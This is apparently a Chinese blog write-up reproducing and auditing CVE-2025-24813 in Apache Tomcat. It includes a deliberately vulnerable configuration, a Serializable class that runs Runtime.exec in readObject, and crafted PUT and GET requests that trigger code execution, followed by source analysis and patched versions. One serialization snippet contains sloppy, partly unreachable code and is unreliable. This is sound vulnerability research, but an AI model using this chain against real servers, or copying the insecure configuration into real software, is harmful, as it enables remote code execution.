【漏洞复现和代码审计】CVE-2025-24813
CVE-2025-24813
CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性漏洞,允许任意用户在特定配置下远程RCE。
漏洞原理
Apache Tomcat使用DefaultServlet处理Partial PUT请求时,会将请求体的内容写入到本地session文件,然后通过指定cookie的JSESSIONID值就可以加载对应的session文件并进行反序列化,由于session文件内容能被外部控制,从而触发原生的反序列化漏洞。
利用条件:
- 设置readonly为false(即开启写权限),这将允许DefaultServlet处理Partial PUT请求
- 开启session本地存储
- 存在可利用的反序列化链
复现
环境:spring boot 3.5.6、jdk 17、tomcat 11.0.2
以下配置设置readonly为false并开启session本地默认存储:
import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletRegistration;
import org.apache.catalina.Context;
import org.apache.catalina.session.FileStore;
import org.apache.catalina.session.PersistentManager;
import org.springframework.boot.web.embedded.tomcat.TomcatContextCustomizer;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;import java.io.File;@Configuration
public class TomcatConfig {@Beanpublic WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() {return factory -> {factory.setBaseDirectory(new File("tomcat"));factory.addContextCustomizers(new TomcatContextCustomizer() {@Overridepublic void customize(Context context) {ServletContext servletContext = context.getServletContext();ServletRegistration defaultServlet = servletContext.getServletRegistration("default");defaultServlet.addMapping("/xxxxx/session");defaultServlet.setInitParameter("readonly", "false");PersistentManager manager = new PersistentManager();manager.setSaveOnRestart(true); // 重启时保存manager.setMaxActiveSessions(-1); // 不限制活跃 Session 数// 创建 FileStore,指定存储目录FileStore fileStore = new FileStore();
// fileStore.setDirectory("tomcat-sessions"); // Session 持久化目录manager.setStore(fileStore);// 将 Manager 设置到当前 Contextcontext.setManager(manager);}});};}
}
配置文件中添加以下配置开启DefaultServlet:
server.servlet.register-default-servlet=true
注意要避开DispatcherServlet的干扰,确保请求能够到达DefaultServlet
准备一个恶意的类(可以自行引入其他利用链):
package org.example.seclab17.vulnerability.Deserialization;import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;import java.io.IOException;
import java.io.Serial;
import java.io.Serializable;@Data
@AllArgsConstructor
@NoArgsConstructor
public class User implements Serializable {String name;String age;String cmd;@Serialprivate void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {//执行默认的readObject()方法in.defaultReadObject();//执行打开计算器程序命令Runtime.getRuntime().exec(cmd);}
}
然后使用以下代码生成序列化对象的base64字符串:
User user = new User();
user.setAge("17");
user.setName("liming");
user.setCmd("calc");
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(user);
String s = os.toString();
os.close();
return user.toString() + "\n"+ s;
System.out.println(s);
下载burp插件:RawHex’ler 用于在请求中批量添加字节数据。
然后使用burp的编码工具解码base64数据得到hex格式的序列化数据:
编辑请求:
PUT /xxxxx/session HTTP/1.1
Host: localhost:8082
Content-Range: bytes 0-147/233
Content-Length: 147序列化数据
请求体直接插入hex序列化数据:
调整content-length(147)和content-Range(必须从0读到147),保证147个字节能够被完整上传,此处响应409:
在上传完成后发起以下请求进行加载:
GET /xxxxx/session HTTP/1.1
Host: localhost:8082
Cookie: JSESSIONID=.xxxxx
然后就会触发计算器:
最后有个地方可能需要注意下,就是进行PUT请求时,请求体前后两次可能会发生改变,比如第一次请求:
第二次请求:
第二次请求不会成功,因为序列化数据被改变了
代码解读
该漏洞关注两个文件:
\org\apache\catalina\servlets\DefaultServlet.class
:处理PUT请求\org\apache\catalina\session\FileStore.class
:加载本地序列化session文件
DefaultServlet
readOnly默认为true:
可以通过读取readonly来设置该值:
如果readOnly为false才允许PUT请求:
然后看doPut:
只有当readOnly为false并且range不为空时才会执行到executePartialPut
先看parseContentRange(allowPartialPut默认为true不需要管):
读取请求头Content-Range,并且限制Unit为bytes,因此进行PartialPut时必须使用字节格式的序列化数据。
然后看executePartialPut:
本地的临时目录为tomcat\work\Tomcat\localhost\ROOT
,前面的配置中我使用setBaseDirectory配置目录为tomcat。然后可以看到,还会将路径中的/
转换为.
,这就导致请求/xxxxx/session
被转换为.xxxxx.session
打开这个文件,可以看到实际上是将数据原样保存到这个路径的文件中去的:
FileStore
入口在:\org\apache\catalina\session\PersistentManagerBase.class
,此处会调用FileStore中的load方法:
加载文件并进行反序列化:
然后在第一个readObject处就触发了calc:
版本对比(tomcat 11.0.2 vs tomcat 11.0.3)
可以看到11.0.3会删除临时文件,同时使用createTempFile生成临时文件,这将导致文件名不可预测,所以也不用去测试条件竞争上传了
public static void main(String[] args) {try {// 在默认临时目录创建临时文件File tempFile = File.createTempFile("report", ".tmp");// JVM退出时自动删除tempFile.deleteOnExit();System.out.println("临时文件已创建: " + tempFile.getAbsolutePath());} catch (IOException e) {e.printStackTrace();}}
修复
漏洞影响范围:
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
因此将tomcat升级到非以上版本即可